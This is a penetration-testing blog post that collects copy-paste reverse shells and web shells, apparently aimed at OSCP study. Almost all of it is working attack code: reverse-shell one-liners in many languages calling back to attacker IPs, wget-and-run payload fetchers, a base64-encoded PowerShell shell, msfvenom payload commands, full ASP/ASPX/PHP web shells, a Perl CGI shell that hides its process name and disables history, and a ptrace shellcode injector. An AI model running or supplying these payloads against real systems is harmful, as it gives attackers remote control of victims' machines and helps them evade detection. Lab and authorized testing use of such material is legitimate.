Reverse Shells/ Web Shells Cheat sheet for Penetration Testing | OSCP


Hello, here is one of the most useful posts for Penetration testers – Reverse Shells and Web Shells all together in one place. Reverse shells and web shells are very necessary for penetration testing. So, here are the reverse shells, one-liner, few web shells that I regularly use in my day to day pen-testing. Just change the IP address and port – you are good to do. 
Bookmark this page. So, that you can just copy/paste the commands. Also, i will keep updating the page - whenever I find something interesting.  

Reverse_shells_web_shells-for-oscp



THIS IS MERELY CREATED FOR EDUCATIONAL & ETHICAL PURPOSE ONLY, AUTHOR IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTIVITIES DONE BY THE VISITORS

PHP Shells: 

<?php $sock = fsockopen("IP_ADDRESS",PORT); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>


<?php system("whoami; wget http://IP_ADDRESS/shell; chmod +x shell; ./shell"); ?>


<?php system("/usr/bin/wget http://IP_ADDRESS/shell.txt -O /dev/shm/shell.php; php /dev/shm/shell.php"); ?>


<? php -r '$sock=fsockopen("IP_ADDRESS",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' ?>


<?php echo system($_REQUEST['cmd']); ?>


<?php echo shell_exec($_GET['cmd']); ?>

<?php exec("/bin/bash -c 'bash -i > /dev/tcp/IP_Address/PORT 0>&1'"); ?>

<?php $output = 'bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1';
echo "<pre>$output</pre>"; ?>


msfvenom -p php/meterpreter_reverse_tcp LHOST="IP_ADDRESS" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php


Get PHP Reverse Shell from here
Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 
Bash

bash -i >& /dev/tcp/IP_address/PORT 0>&1
bash -i &#x3E;&#x26; /dev/tcp/IP_address/PORT 0&#x3E;&#x26;1
bash -i &gt;&amp; /dev/tcp/IP_address/PORT  0&gt;&amp;1
mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc 10.10.10.10 443 1>/tmp/backpipe
Powershell 

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("IP_ADDRESS",PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP_ADDRESS',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

#Base64 Enconding your payload
$Command = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Encoded = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($command)) 
print $Encoded

Serealize your payload

Download https://github.com/pwntester/ysoserial.net 

ysoserial.exe -g ObjectDataProvider -f JavaScriptSerializer -o base64 -c "powershell -encoded <encoded payload>"
Netcat

mknod /tmp/backpipe p 
/bin/sh 0</tmp/backpipe | nc 10.10.10.10 443 1>/tmp/backpipe

nc -e /bin/sh IP_ADDRESS PORT 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_ADDRESS PORT >/tmp/f

UDP Netcat Reverse Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u IP_ADDRESS PORT >/tmp/f

Start a listener on attacker machine 

nc -u -nvlp PORT
Perl Reverse Shell

perl -e 'use Socket;$i="IP_ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 
Ruby

ruby -rsocket -e'f=TCPSocket.open("IP_ADDRESS",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP_ADDRESS","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


Ruby Reverse Shell For Windows:

ruby -rsocket -e 'c=TCPSocket.new("IP_ADDRESS","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'  

Java Reverse Shell

String host="IP_ADDRESS";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 
Java Reverse Shell 2 

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() 
Node JS

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh IP_ADDRESS PORT')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
CGI Reverse Shell

#!/usr/bin/perl -w

use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = '10.10.10.10';
my $port = 9002;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
  # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

 if ($auth) {
  unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
   cgiprint("ERROR: Your client isn't authorised to view this page");
   cgiexit();
  }
 }
} elsif ($auth) {
 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
 cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
 my $pid = fork();
 if ($pid) {
  cgiexit(0); # parent exits
 }

 setsid();
 chdir('/');
 umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
 cgiprint("Sent reverse shell to $ip:$port");
 cgiprintpage();
} else {
 cgiprint("Couldn't open reverse shell to $ip:$port: $!");
 cgiexit(); 
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
 my $line = shift;
 $line .= "<p>\n";
 $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
 cgiprintpage();
 exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
 print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

Windows x64 Staged Payload:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/shell/reverse_tcp  LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe

Windows x64 Stageless Payload:

msfvenom -p windows/x64/shell_reverse_tcp  LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/x64/exec 'CMD=cmd.exe' LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe


Windows x86 Staged Payloads:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe


Windows x86 Stageless Payloads:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o exploit.exe


Note:

msfvenom --list payloads | grep php to search for payload 

msfvenom --list formats | grep php  to search for formats to output payload
Linux x64 Staged Payloads

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit

Linux x64 Stageless payloads

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x64/exec 'CMD=/bin/bash' LHOST=10.10.10.10 LPORT=443 -f elf -o exploit

Linux x86 Staged Paylods

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit


Linux x86 Stageless Payloads

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o exploit
msfvenom -p linux/x86/exec 'CMD=/bin/bash' LHOST=10.10.10.10 LPORT=443 -f elf -o exploit


Note: 
msfvenom --list payloads | grep php to search for payloads

msfvenom --list formats | grep php  to search for formats to output payload

ASP

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

ASP- Web Shell


<%

Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")
If (szCMD <> "") Then
  szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" &  oFSys.GetTempName()
  Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
"""",0,True)
  response.write szTF
  ' Change perms
  Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
everyone:F",0,True)
  Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If 
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<% 
If (IsObject(oF)) Then
  On Error Resume Next
  Response.Write Server.HTMLEncode(oF.ReadAll)
  oF.Close
  Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If 

%>
ASP - Web Shell 2 

<%@ Language=VBScript %>
<%

  Dim oScript
  Dim oScriptNet
  Dim oFileSys, oFile
  Dim szCMD, szTempFile

  On Error Resume Next

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  ' -- check for a command that we have posted -- '
  szCMD = Request.Form(".CMD")
  If (szCMD <> "") Then

    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = "C:\" & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

  End If

%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
  If (IsObject(oFile)) Then
    ' -- Read the output from our command and remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</BODY>
</HTML>
ASPX Web Shell
 
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
C Reverse Shell

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main (int argc, char **argv)
{
  int scktd;
  struct sockaddr_in client;
 
  client.sin_family = AF_INET;
  client.sin_addr.s_addr = inet_addr("IP_ADDRESS");
  client.sin_port = htons(PORT);

  scktd = socket(AF_INET,SOCK_STREAM,0);
  connect(scktd,(struct sockaddr *)&client,sizeof(client));

  dup2(scktd,0); // STDIN
  dup2(scktd,1); // STDOUT
  dup2(scktd,2); // STDERR

  execl("/bin/sh","sh","-i",NULL,NULL);

  return 0;
}
Python script to inject the BIND TCP shellcode into the running process

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_SIZE 32

unsigned char *shellcode = 
  "\x48\x31\xc0\x48\x89\xc2\x48\x89"
  "\xc6\x48\x8d\x3d\x04\x00\x00\x00"
  "\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
  "\x2f\x73\x68\x00\xcc\x90\x90\x90";


int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
	{
	  perror ("ptrace(POKETEXT):");
	  return -1;
	}
    }
  return 0;
}

int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);

  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }

  printf ("+ Waiting for process...\n");
  wait (NULL);

  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  

  /* Inject code into current RPI position */

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);

  regs.rip += 2;
  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);

  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");

 
  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
	{
	  perror ("ptrace(DETACH):");
	  exit (1);
	}
  return 0;

}

# https://raw.githubusercontent.com/0x00pf/0x00sec_code/master/mem_inject/infect.c 



Well, that's it for this post - This is the compressed list of reverse shells and the ones that I use regularly - I might have missed something, but the above commands should help you in most of the scenarios. Let me know, which is your favorite reverse shell in comments and In case I missed something, please comment below. So, that I can add it to the list. 

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment